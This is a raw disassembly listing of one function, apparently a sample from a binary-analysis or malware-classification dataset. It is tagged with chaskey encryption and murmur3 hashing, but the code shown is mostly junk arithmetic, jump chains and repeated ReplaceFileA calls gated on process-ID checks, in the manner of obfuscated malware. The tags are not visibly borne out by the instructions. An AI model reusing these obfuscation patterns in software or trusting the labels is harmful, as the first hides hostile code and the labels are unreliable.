Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
not edx
shl edx, 3
ror edx, 0xa
ror ecx, 4
sub edx, ebx
not ecx
call sub.kernel32.dll_GetCurrentProcessId
or edx, edi
and edx, edi
shr ebx, 0x1b
or ebx, edi
and edi, ebx
bswap ecx
rol edx, 5
mov edx, edi
cmp eax, 0xfffffedb
jne 0x4010af
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
ret
xchg edi, ebx
mov edx, edi
xchg edx, ecx
shr ebx, 0x10
add edx, ecx
add ebx, edi
call sub.kernel32.dll_GetCurrentProcessId
xchg edx, edi
dec ecx
or ecx, ebx
or edi, ecx
neg ecx
sub ebx, edx
cmp eax, 0xffffff01
jne 0x401137
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
ret
xor edi, 0x3612636f
or ecx, 0x3612d115
sub ecx, edx
xor edx, ecx
ror edx, 3
or edi, edx
call sub.kernel32.dll_GetCurrentProcessId
or ebx, 0x36152c71
xchg ecx, edx
mov edx, 0x361609bd
xor edx, edi
neg edx
nop
cmp eax, 0xffffff31
jne 0x4011f6
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
ret
neg edx
or edi, ecx
or edx, ecx
shl edi, 0xb
call sub.kernel32.dll_GetCurrentProcessId
dec ebx
xchg ecx, edx
xor edx, ebx
sub ecx, 0x361e3275
and edi, ebx
xor edx, 0x361f299f
cmp eax, 0xfffffef1
jne 0x401282
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
call sub.kernel32.dll_ReplaceFileA
ret
jmp 0x4b76de
and ecx, ebx
rol edx, 1
shr ecx, 0x14
inc ebx
inc ecx
xchg edx, edi
jmp 0x4ba448
pop ebx
and edi, ecx
or edi, 0x490fd7e1
and ecx, esi
shl esi, 0xc
bswap ecx
shl ecx, 0x11
neg esi
add ecx, edi
jmp 0x4b7f89
pop ebx
sub ecx, edx
xchg ecx, esi
sub edx, edi
inc ecx
xor ecx, edx
add esi, 0x4917ccb3
add edx, ecx
or edi, esi
jmp 0x4b988e
pop ebx
nop
and esi, edx
shr ecx, 7
dec edi
mov edi, edx
add edx, edi
neg ecx
xchg ecx, edx
add edx, edi
not edi
jmp 0x4b95cd
mov ebx, 0x3f4d7907
and edx, 0x491f66f5
sub edx, ecx
or edi, edx
add edx, esi
not ecx
mov esi, 0x49217d87
not edi
xor edx, esi
mov edi, 0x4922d131
sub ecx, edx
xchg edx, edi
and edi, ecx
xchg ecx, edx
xchg edx, edi
bswap edx
mov edx, ecx
jmp 0x4b7992
mov ebx, 0x3f4d7907
add edx, ecx
xor ecx, 0x49269b15
shr esi, 0x16
xchg edi, esi
not edi
and edi, edx
or ecx, 0x4928c2a3
rol esi, 0x1c
and edi, 0x49299f23
inc edx
ror esi, 0x14
rol edi, 0x19
jmp 0x4b85c8
push 0x36d84141
ror edi, 0x19
add edx, 0x492e94e7
or ecx, edx
xchg esi, ecx
or edi, edx
sub ecx, 0x493033d3
and edx, esi
xor edx, 0x49311f1d
or esi, edx
and edi, edx
shl edi, 0x17
and ecx, edi
jmp 0x4b7d1b
call fcn.004b8ec5
xor edi, esi
inc edi
sub esi, edi
not esi
add edi, ecx
add ecx, edx
xor edx, edi
xor edi, ecx
mov esi, ecx
xchg edi, ecx
sub esi, edx
mov ecx, esi
jmp 0x4b7c8c
pop ebx
or edi, ecx
sub ecx, edx
or ecx, edx
and edx, 0x493b1963
dec edx
or ecx, 0x493c0a33
and edx, 0x493c7529
sub edx, ecx
mov edi, ecx
shr esi, 2
sub ecx, 0x49460357
mov edx, ecx
jmp 0x4b9a28
call fcn.004b8ec5
sub ecx, edi
add esi, 0x495fa12f
add edi, ecx
sub edi, edx
xchg esi, edx
and edi, edx
jmp 0x4b7f0d
push 0x36e1089d
sub edi, edx
sub edi, ecx
or esi, edi
sub edx, esi
and esi, ecx
rol edi, 0x11
not edi
mov edi, edx
xor ecx, edx
xor esi, ecx
mov esi, edi
xchg edi, edx
bswap edi
neg esi
ror esi, 0xb
ror ecx, 7
jmp 0x4ba92e
pop ebx
or ecx, esi
or esi, edi
sub edx, 0x4a1ec147
and ecx, edi
neg edx
add edx, 0x4a201c6f
and edi, esi
add esi, 0x4a210e7d
jmp 0x4ba088
push 0x36d542df
shr esi, 0x19
or edi, esi
rol edi, 1
and edx, ecx
mov edx, esi
dec ecx
sub edi, esi
xchg edi, ecx
add ecx, edi
and ecx, 0x4a25b3a9
mov edx, ecx
xor esi, edx
and ecx, esi
sub edx, ecx
or edi, edx
xor edi, ecx
jmp 0x4ba46e
push esp
mov ecx, edx
ror esi, 0x19
xchg edx, ecx
sub ecx, esi
add esi, edi
or ecx, edx
mov esi, edx
ror edx, 0x18
ror esi, 0x17
sub edx, ecx
and edi, ecx
add edx, edi
jmp 0x4b7d4d
push 0x36cff4bf
xchg edx, esi
and edi, esi
add edx, 0x4abcdf31
xor edi, ecx
xor edx, esi
and ecx, esi
shr edx, 4
dec ecx
xor esi, 0x4adb6bd7
add edi, esi
bswap ecx
and edi, ecx
not edi
and edi, 0x4add85db
jmp 0x4b9e82
pop ebx
xor edi, edx
sub edx, esi
shr ecx, 8
inc edi
sub esi, ecx
neg esi
xchg esi, ecx
inc esi
mov esi, ecx
mov edx, 0x4ae70f77
xor ecx, esi
sub esi, edx
sub esi, ecx
inc ecx
jmp 0x4b9619
mov ebx, 0x3f4d7907
sub edx, 0x4aed0aff
xchg esi, ecx
shr esi, 0x12
or edx, edi
xor edi, ecx
and esi, ecx
xchg esi, edx
xor edx, esi
or ecx, edi
mov esi, edx
jmp 0x4b92ca
call ebx
shl ecx, 7
add edi, esi
inc ecx
bswap ecx
and ecx, 0x4af60cfb
xchg ecx, esi
inc edi
mov ecx, esi
mov edi, 0x4af7d0bd
xor esi, ecx
xchg esi, ecx
sub ecx, edx
jmp 0x4b823e
pop ebx
add edi, esi
xor esi, edi
sub edi, esi
add ecx, edx
mov ecx, edi
or ecx, edx
add esi, edx
or edi, esi
mov edx, ecx
add ecx, edx
shr edx, 5
mov edx, 0x4b083579
rol edi, 0x1e
or esi, edx
shr esi, 4
xchg esi, ecx
jmp 0x4b839d
push 0x36d88a85
xchg esi, edx
add esi, edi
neg edi
sub edi, esi
neg edx
add edx, 0x4b0c3907
shr esi, 3
mov edx, 0x4b0cc999
xor ecx, 0x4b0d4109
or edi, edx
sub edx, edi
xchg edx, esi
sub edi, edx
xor edx, edi
jmp 0x4baad0
push esp
shl edx, 0x1e
or ecx, 0x4b0fcbb1
sub esi, 0x4b103767
sub esi, ecx
xchg esi, edi
sub edx, 0x4b119415
mov ecx, edx
and edi, edx
jmp 0x4ba5fb
call ebx
mov edx, esi
and edx, esi
sub ecx, edx
mov ecx, edx
dec edi
rol edx, 0x1c
shr edx, 4
mov esi, 0x4b1d26fb
or edi, esi
add edi, ecx
sub esi, edi
or edx, esi
jmp 0x4b9196
call ebx
or edx, edi
mov edi, 0x4b233bb7
xchg esi, edx
inc edi
xor esi, edi
inc edx
add esi, 0x4b24d24d
dec ecx
dec esi
dec edi
jmp 0x4b77bc
mov ebx, 0x3f4d7907
xor edi, ecx
bswap ecx
xor ecx, 0x4b320407
and edi, ecx
and edi, ecx
xor esi, edx
sub edi, ecx
xor edi, ecx
shr edx, 0x10
and esi, 0x4b340ec1
jmp 0x4b8bbb
call ebx
bswap edx
xor esi, 0x4b3e104f
and ecx, edi
xor ecx, edx
jmp 0x4b9c0d
pop ebx
bswap ecx
mov edx, ecx
dec edi
shl ecx, 0x1d
inc edx
add edx, 0x4b46bbef
add edi, esi
sub esi, edi
rol esi, 0xc
mov ecx, edi
ror edx, 1
bswap edi
sub edi, esi
or esi, edx
add esi, ecx
inc esi
jmp 0x4b7ac3
mov ebx, 0x4132136a
mov edi, edx
add ecx, edi
neg esi
mov edi, ecx
and esi, ecx
xchg ecx, edi
mov esi, ecx
xor esi, 0x4b55ca81
and edx, edi
sub esi, ecx
or esi, edx
xor edi, edx
mov esi, edx
sub edx, ecx
xor edx, edi
sub esi, edx
jmp 0x4ba4f5
pop ebx
xchg edx, ecx
rol edx, 1
and esi, 0x4b6d0f19
mov esi, edi
and edi, edx
mov edi, esi
or edx, ecx
and edx, esi
or esi, edi
and esi, 0x4b6eac8b
jmp 0x4b81c6
push 0x36ccb2dd
shl edx, 0x1e
and esi, edi
or edx, edi
and esi, edx
mov ecx, esi
or edi, ecx
bswap edi
mov ecx, 0x4b798a21
jmp 0x4b8c95
call ebx
or esi, edx
xchg esi, ecx
xor edi, esi
ror edi, 0x1b
xchg edi, ecx
and edi, ecx
or edi, ecx
inc esi
jmp 0x4b81a3
pop ebx
or esi, ecx
and ecx, edx
mov edi, 0x4b867e3b
shl ecx, 0x18
mov ecx, 0x4b86f585
shr ecx, 0x18
sub edx, edi
and edx, 0x4b8881cf
dec edi
sub esi, edi
mov edi, 0x4b893f23
rol edi, 0x19
jmp 0x4b7796
pop ebx
bswap ecx
not edx
sub ecx, edx
xor edx, ecx
xchg edi, edx
or esi, edx
or edx, ecx
add esi, edi
sub esi, 0x4b959f09
and ecx, edx
xchg edi, edx
shl edx, 0x1a
jmp 0x4b93ec
push 0x36e8e9b7
and esi, edi
xor edx, ecx
mov edx, esi
xor ecx, edi
mov edx, 0x4b9845c9
and esi, edi
add edi, 0x4b98c7c3
ror ecx, 0x14
or edi, edx
mov esi, edi
jmp 0x4b8ced
pop ebx
sub esi, 0x4ba6a941
neg edi
or esi, 0x4ba796f9
mov edi, 0x4ba802ed
xor edi, edx
add ecx, 0x4ba8e2c7
jmp 0x4b7f44
push 0x36deea9f
xor edx, esi
shl edi, 0x11
or edi, esi
sub ecx, edx
and esi, edi
or ecx, edx
mov esi, ecx
neg edx
nop
or esi, 0x4bb577cb
jmp 0x4b9ca1
push 0x36e378eb
inc ecx
mov edi, esi
mov ecx, edi
or edi, 0x4bd36b4f
sub edx, ecx
xchg ecx, edx
xor esi, edx
mov ecx, 0x4bd54889
jmp 0x4b7c45
push 0x36d29d93
xor ecx, edi
add edi, ecx
sub ecx, 0x4bd6cbd1
xor ecx, 0x4bd73d6f
xor edx, esi
xor ecx, esi
sub edi, esi
sub esi, edx
xor ecx, edi
xchg esi, edi
jmp 0x4b8dd3
call fcn.004b8ec5
xchg edx, esi
rol edx, 1
or edi, 0x58c0cfb5
inc ecx
mov edi, ecx
sub ecx, edi
jmp 0x4b95af
push 0x36c4771b
shl ecx, 0xb
and ecx, edx
sub edi, ecx
or ecx, esi
xchg edx, esi
or edi, 0x58de0a55
jmp 0x4ba57c
mov ebx, 0x3f4d7907
add edx, esi
sub edi, edx
dec edi
sub esi, 0x590b3aa3
mov edx, edi
mov edx, edi
mov ecx, 0x590c7ceb
mov edx, ecx
xchg edx, esi
xor esi, ecx
shl edi, 4
xor edx, 0x5911bef7
sub ecx, 0x5912ed89
xchg edi, esi
jmp 0x4b8406
pop ebx
inc esi
add ecx, edi
or ecx, 0x59185ded
not edx
sub ecx, 0x5919c0dd
and edx, ecx
neg esi
xchg ecx, edx
shr esi, 3
mov edi, ecx
jmp 0x4b8b36
call fcn.004b8ec5
mov edi, esi
and ecx, esi
add esi, 0x5933f393
inc edx
ror esi, 0x18
or esi, 0x59361c37
and ecx, edi
xor edx, ecx
and ecx, edi
xor ecx, edi
jmp 0x4b9021
push 0x36c71bdd
sub esi, 0x594a43db
inc esi
rol esi, 0x16
nop
mov edi, ecx
xchg edx, esi
and esi, ecx
neg ecx
mov ecx, 0x594dec4b
and edi, edx
and edx, 0x594efcf1
or ecx, 0x594f69f5
and esi, 0x594fdd4b
mov edi, esi
jmp 0x4ba28d
push 0x36cb3a6d
neg ecx
xchg ecx, edi
mov edi, 0x595674c7
sub ecx, 0x5956e4f3
and edx, ecx
inc edx
and edx, edi
add edi, ecx
or edx, 0x5959470d
mov ecx, edx
jmp 0x4b9fa2
call fcn.004b8ec5
shr edi, 0x14
neg ecx
xor ecx, esi
add edx, esi
add esi, 0x595bda45
add edx, edi
or esi, edi
sub ecx, 0x595d5433
xor esi, edx
not edi
xor ecx, edi
or ecx, esi
jmp 0x4b9523
pop ebx
or edx, 0x595fda25
inc esi
or ecx, edx
sub edx, edi
neg edi
and edi, ecx
xchg edi, esi
rol edx, 0x10
add esi, ecx
and edi, edx
sub edx, esi
and esi, 0x5965484b
ror edx, 9
mov ecx, edx
jmp 0x4bacb3
call fcn.004b8ec5
dec esi
inc edx
neg ecx
mov edi, 0x5973e4b9
bswap ecx
dec esi
shr edi, 0x12
ror edi, 0xb
mov edi, esi
xchg edi, edx
and esi, edx
or edi, edx
jmp 0x4b7dbc
call fcn.004b8ec5
or edi, edx
mov ecx, esi
sub esi, ecx
add edx, ecx
jmp 0x4b9add
pop ebx
or ecx, edi
inc esi
xor esi, ecx
dec ecx
mov ecx, edx
shr edi, 0x1a
xchg ecx, edi
or ecx, 0x59f31b01
or esi, ecx
sub edx, edi
jmp 0x4ba1e0
call ebx
or edx, ecx
shl edi, 0x13
or edx, edi
mov ecx, 0x5a1222ab
or edx, 0x5a129e95
xchg ecx, edi
xor ecx, esi
sub edi, edx
or ecx, esi
add ecx, 0x5a16e7f1
jmp 0x4b78ac
pop ebx
ror esi, 0x19
ror esi, 5
inc ecx
dec edi
sub ecx, esi
shl esi, 0x16
xor ecx, 0x5a1aa161
xchg esi, edx
jmp 0x4ba0ac
push 0x36da5a09
xchg edi, ecx
sub esi, edx
add esi, 0x5a209f11
or esi, 0x5a2108e3
xor ecx, edi
shl esi, 0x1b
mov ecx, edx
add esi, edx
or ecx, edi
shl edx, 8
inc edx
not edx
xor edx, ecx
xchg edi, ecx
jmp 0x4b9f7b
call fcn.004b8ec5
shr ecx, 4
xor edx, esi
xor edx, edi
and edx, esi
xchg ecx, esi
ror edx, 0x1f
or esi, edx
or ecx, esi
ror edx, 0x1d
sub edx, 0x5a2ae9e1
jmp 0x4ba75a
call fcn.004b8ec5
or ecx, esi
shl esi, 6
neg esi
or esi, edi
and edx, esi
inc edi
jmp 0x4b8aca
push 0x36ccfd85
ror esi, 0x1b
inc ecx
neg esi
or ecx, 0x5a7cfb53
sub edx, esi
shr esi, 4
mov ecx, edx
xor ecx, esi
mov esi, 0x5a818649
and ecx, 0x5a82b769
neg ecx
ror ecx, 7
jmp 0x4ba117
push 0x36e934b9
or esi, edx
neg edi
xor esi, 0x5a8f858f
nop
mov edx, edi
add esi, ecx
not esi
and edi, 0x5a934923
xor esi, edx
mov edi, edx
shl ecx, 0x1c
xor edx, edi
jmp fcn.004b8420
push 0x36d2ea77
xor edx, edi
rol edi, 6
dec edx
xor edx, esi
sub edi, ecx
mov edx, edi
rol edi, 5
mov edi, esi
or edx, 0x5ac00ed3
dec esi
and esi, 0x5ac24429
sub edx, edi
add edi, ecx
xchg edx, ecx
xchg edx, edi
xor esi, edi
jmp 0x4b77d5
call ebx
xor edx, esi
or edx, 0x5ae10e9f
add edx, esi
xchg edx, esi
mov edx, esi
ror edx, 0x14
xor edx, 0x5ae32963
sub esi, 0x5ae393b3
or edi, esi
xor edi, esi
jmp 0x4ba375
mov ebx, 0x3f4d7907
mov ecx, edx
sub esi, edx
shl edx, 0x13
or esi, ecx
or ecx, edx
mov esi, edi
sub edx, 0x5ae7fdc7
and edx, edi
jmp 0x4b9211
call ebx
sub ecx, edx
xor edx, esi
shl esi, 0x1c
mov edx, 0x5b70ea17
ror edi, 0xd
xchg edi, esi
xor edx, esi
add esi, 0x5b7492fb
jmp 0x4ba2d1
pop ebx
and esi, ecx
mov esi, ecx
not edi
add edx, 0x5bac833d
inc edx
xor edi, edx
and ecx, 0x5badc7e3
mov edi, edx
and esi, ecx
add ecx, edx
or ecx, edi
xor ecx, edx
sub edx, 0x5bb04c63
and edx, ecx
jmp 0x4ba7b1
call fcn.004b8ec5
add edi, edx
dec ecx
xchg esi, edx
bswap edx
mov edi, 0x5bbec279
rol edx, 0xf
jmp 0x4b7e0d
call fcn.004b8ec5
xor edx, esi
mov ecx, 0x5bf29067
shl edi, 0xa
mov esi, 0x5bf4bb5d
add edx, ecx
bswap esi
add esi, 0x5bf90a2d
bswap edi
add ecx, 0x5bfa6041
xchg ecx, edx
and esi, 0x5bfc0b1f
shl ecx, 0x1a
jmp 0x4ba957
pop ebx
not ecx
xor edi, 0x5c332953
and edi, 0x5c344d89
dec edx
sub edx, 0x5c36d957
sub edi, edx
and edx, esi
bswap edx
and esi, ecx
or edx, esi
xor esi, 0x5c3cad65
and esi, edi
jmp 0x4b9eb6
push 0x36de990f
and esi, edi
sub esi, ecx
shr edx, 0x15
or ecx, edi
not edx
or ecx, 0x5c429a0f
and esi, 0x5c436d91
bswap ecx
jmp 0x4b82b3
call ebx
ror edi, 0x1d
or ecx, edx
mov edi, 0x5c91a6b7
xchg esi, ecx
xor esi, ecx
mov ecx, edi
xchg edi, esi
or ecx, esi
and edi, esi
or edi, edx
ror edi, 0x1a
dec ecx
xchg edi, esi
or ecx, esi
or edx, edi
add edx, esi
jmp 0x4b93bf
call ebx
and esi, edi
xor ecx, edx
neg esi
or edx, esi
xor edx, 0x5cbdffc9
xchg ecx, edi
mov edx, 0x5cc03c25
mov edx, ecx
jmp 0x4b8a17
pop ebx
mov esi, edx
mov ecx, 0x5cc3177d
bswap edx
xchg edi, edx
sub edi, ecx
sub edx, 0x5cc74629
and edi, edx
mov edx, 0x5cc9775b
jmp 0x4ba7d5
mov ebx, 0x3f4d7907
xor edx, edi
sub edx, ecx
xor edi, esi
xor edx, 0x5ccd99a7
dec ecx
sub edi, ecx
mov edx, esi
or edi, 0x5cd21d1f
xor edi, 0x5cd35d6b
xchg esi, edi
or esi, ecx
inc edx
jmp 0x4b788b
pop ebx
xchg edx, ecx
mov edi, edx
and edx, esi
and edx, 0x5cdc5b5f
or edi, 0x5cdd4713
bswap esi
add esi, ecx
xor edx, esi
add edx, esi
mov esi, edi
jmp 0x4b7ba3
pop ebx
xor edi, esi
mov esi, edx
mov ecx, esi
mov edx, esi
shl ecx, 5
add esi, 0x5d0c0417
or esi, 0x5d0cdeed
or ecx, edi
jmp 0x4bac45
call fcn.004b8ec5
inc edx
xor ecx, esi
and esi, edi
xchg ecx, esi
add edi, 0x5d12e7cd
xchg esi, edx
jmp 0x4b8e7e
push 0xb62de
or edx, esi
ror ecx, 2
mov edx, esi
neg esi
add ecx, edx
mov esi, ecx
xchg ecx, edx
add ecx, esi
xor edi, esi
or edi, esi
add edi, 0x5d3b91e5
xor edx, edi
inc edi
add edx, ecx
jmp 0x4baa59
mov ebx, 0x3f4d7907
neg ecx
shl ecx, 0x13
xchg ecx, edx
or edx, edi
or ecx, esi
sub edx, esi
jmp 0x4b887a
pop ebx
sub edx, 0x5d6af893
add ecx, edi
sub edi, edx
inc esi
or ecx, edx
xchg esi, edi
xor ecx, edx
add edi, esi
jmp 0x4b80b4
push 0x36e0bd47
xchg esi, edi
xchg edi, edx
and edi, 0x5d7b49e3
xor esi, edx
or edx, ecx
add ecx, 0x5d7e0c5d
mov esi, edi
or edx, ecx
mov ecx, edx
dec edx
jmp 0x4b7a96
push 0x36e5987f
add edx, ecx
bswap edx
add edx, 0x5d84fd29
not ecx
mov esi, edi
and edi, 0x5d882153
sub esi, edx
add edi, ecx
xor edi, 0x5d8b1a6f
shl esi, 0x1f
xor ecx, edi
xchg ecx, edx
jmp 0x4bab46
pop ebx
mov ecx, edx
shl esi, 0xf
or ecx, 0x5dec2041
ror ecx, 4
sub ecx, edi
xchg ecx, edx
not esi
and edi, edx
jmp 0x4b9d4e
call ebx
xor edi, 0x5e1b1799
xor edx, edi
not edx
sub ecx, edi
xor ecx, esi
add esi, ecx
jmp 0x4ba61d
pop ebx
xchg edi, edx
add esi, edi
ror edx, 0x17
or edi, ecx
add esi, edx
xor edx, ecx
or ecx, edx
and edi, 0x5e25fd9d
and edx, edi
or ecx, edi
jmp 0x4ba9da
push 0x36e63323
ror esi, 0x15
sub esi, edx
ror edx, 0x13
xchg edi, esi
or esi, edx
or edi, edx
jmp 0x4b95ed
pop ebx
xchg edi, esi
xor esi, edi
or edi, ecx
bswap ecx
ror edx, 0x1f
xor edx, esi
jmp 0x4b96ad
mov ebx, 0x3f4d7907
or ecx, edi
bswap ecx
rol esi, 0x1b
sub esi, edi
add edi, esi
xor ecx, 0x5ea04a17
sub edx, esi
mov edx, ecx
sub ecx, esi
inc edi
jmp 0x4ba130
pop ebx
mov ecx, esi
sub esi, ecx
ror esi, 0x1a
mov edx, edi
and edi, ecx
sub edx, ecx
mov edi, ecx
xor edx, ecx
xor ecx, esi
or ecx, edx
xor esi, 0x5ed6e799
add edx, ecx
jmp 0x4b9af4
call ebx
or ecx, esi
mov esi, ecx
sub ecx, esi
shr edi, 9
shl edi, 1
and ecx, 0x5edd7b8d
not ecx
neg edi
or edi, ecx
sub esi, ecx
shr ecx, 9
add ecx, 0x5ee3944f
sub edi, 0x5ee46853
sub edx, ecx
mov ecx, edi
or edx, esi
jmp 0x4b812d
push 0x36cd9893
or edi, 0x5ee8a1f9
shr ecx, 0x11
ror ecx, 0x15
mov edx, ecx
jmp 0x4ba4c3
push 0x36c7f701
ror ecx, 0x19
mov edi, 0x5eedfa8d
rol esi, 2
mov esi, edx
xor esi, edx
xor edx, ecx
jmp 0x4b7e92
pop ebx
add edi, ecx
or esi, ecx
xchg edx, esi
add esi, ecx
xor edi, edx
xor ecx, edi
mov ecx, 0x5f18998d
neg ecx
or edx, 0x5f1ad1f5
xor esi, edx
xor ecx, 0x5f1c901d
mov edi, 0x5f1d6d3f
or ecx, edx
mov edi, 0x5f1f589f
jmp 0x4b7ae5
push 0x36d041cf
or ecx, edi
xor edi, esi
rol edi, 0x16
ror edi, 9
sub esi, 0x5f24c06b
and edi, ecx
xchg edi, esi
add esi, 0x5f2789c3
and edx, 0x5f28b629
and edi, 0x5f29cbc3
not ecx
mov edx, edi
jmp 0x4b97b1
push 0x36d6c353
or ecx, edx
add ecx, 0x5f2dffe5
mov ecx, esi
xor edx, esi
xor edi, ecx
ror ecx, 0xa
or esi, edi
or edi, 0x5f34508d
not edi
mov esi, edx
mov edx, edi
add ecx, edx
jmp 0x4b7809
mov ebx, 0x3f4d7907
shl ecx, 6
xor edx, ecx
or edx, esi
or edx, 0x5f6f9663
xor ecx, edx
xchg esi, edi
add ecx, edx
or ecx, esi
dec esi
or esi, ecx
ror edx, 0xa
and esi, edi
jmp 0x4ba3b7
mov ebx, 0x3f4d7907
add ecx, esi
ror ecx, 0xb
and esi, edi
xchg ecx, edi
xchg edi, ecx
sub edx, esi
sub edi, ecx
bswap ecx
jmp 0x4b8b65
pop ebx
neg esi
mov edx, esi
ror edi, 0xc
mov esi, edi
shl edx, 0x10
and esi, ecx
and edi, edx
xor edi, ecx
and edi, ecx
xor ecx, 0x5f9c4f05
and esi, edx
not edi
jmp 0x4b803a
push 0x36d20871
neg esi
or esi, edx
rol edi, 0x1b
or esi, edx
not edi
neg edi
or ecx, edx
xor esi, edx
or edi, edx
xchg esi, edi
add edx, esi
shl esi, 0x17
or edx, esi
xor edx, esi
jmp 0x4ba41f
push 0x36cd4d9f
dec esi
and ecx, edx
mov ecx, edi
sub edi, edx
sub esi, edi
and edx, 0x5ff3e331
jmp 0x4b9da7
call fcn.004b8ec5
not edi
or ecx, edx
mov ecx, esi
or esi, edx
jmp 0x4b9d71
pop ebx
sub ecx, edx
sub esi, edi
neg esi
sub edx, edi
and edx, edi
add edi, ecx
and ecx, esi
neg ecx
jmp 0x4b7cef
push 0x36c7663f
neg edx
rol esi, 0x17
add edx, edi
and edi, ecx
xor edi, esi
mov edi, 0x60285029
xor edx, esi
add ecx, esi
jmp 0x4babaf
pop ebx
sub edi, 0x602e320d
or edi, ecx
and ecx, esi
sub edi, esi
shr esi, 0xc
mov esi, 0x60304653
ror esi, 0x16
or edx, 0x60312c33
xchg ecx, esi
sub esi, edi
or edx, esi
mov ecx, 0x6032ed51
jmp 0x4b785b
call ebx
xchg edx, ecx
inc edi
mov edx, 0x60345507
dec esi
add esi, 0x60354a1d
sub esi, 0x6035b6a1
shl ecx, 0x1c
and edx, 0x60369e3d
inc edi
not edi
jmp 0x4b775f
pop ebx
bswap esi
xor ecx, 0x604305d5
add ecx, edx
mov esi, ecx
or esi, edx
nop
sub edi, edx
or ecx, edi
and edi, esi
mov esi, edx
or edx, edi
add edx, 0x6047446d
jmp 0x4b8567
call fcn.004b8ec5
add edx, edi
neg edi
mov edi, ecx
and edx, ecx
not edx
or ecx, edx
mov edx, 0x604f9995
and esi, edx
sub edx, ecx
or edx, ecx
jmp 0x4ba2ff
push 0x36d251d3
sub edx, 0x60597dcb
rol edi, 0x18
rol esi, 0x1a
or edx, edi
and edi, edx
xchg ecx, edi
add edx, 0x605c0123
and ecx, esi
xchg ecx, edi
rol esi, 0x1b
jmp 0x4b83bd
push 0x36c41e9f
or edx, 0x605de8a1
bswap edi
xor edi, edx
bswap edi
neg edi
neg edx
neg edi
neg esi
or edi, ecx
sub esi, 0x6061d275
jmp 0x4b8465
mov ebx, 0x3f4d7907
mov edi, esi
add edi, ecx
sub edi, 0x60631f97
or edx, 0x6063898d
shl esi, 5
or edx, edi
and edx, edi
xor esi, 0x606541ed
or esi, ecx
xchg esi, edx
sub esi, edi
or edx, 0x60670bcf
jmp 0x4b8701
mov ebx, 0x3f4d7907
sub esi, edx
inc ecx
and edx, edi
mov edi, ecx
and ecx, edi
or edi, edx
add ecx, esi
or esi, edx
mov edx, 0x606f300b
sub edx, esi
jmp 0x4b878b
call fcn.004b8ec5
or edi, ecx
and esi, edi
add esi, edi
mov ecx, esi
sub edx, esi
add esi, 0x607412a7
or ecx, edi
neg esi
ror ecx, 6
and edx, ecx
jmp 0x4b7b14
push 0x36e54bd5
sub ecx, edi
xor ecx, edx
and esi, 0x6077489b
inc edx
or edx, esi
shl edx, 0x13
mov edi, 0x6078fe9d
neg ecx
jmp 0x4b98b3
push 0x36c4c111
inc edx
xchg ecx, edi
sub esi, 0x6083c1c7
xchg edi, edx
or ecx, esi
xor edi, edx
sub edi, edx
mov esi, ecx
mov ecx, edi
neg esi
sub edx, 0x608722e7
neg esi
jmp 0x4b8ea6
push 0x40
and ecx, 0x6092aa9d
neg ecx
dec ecx
mov ecx, edx
or ecx, esi
or esi, edx
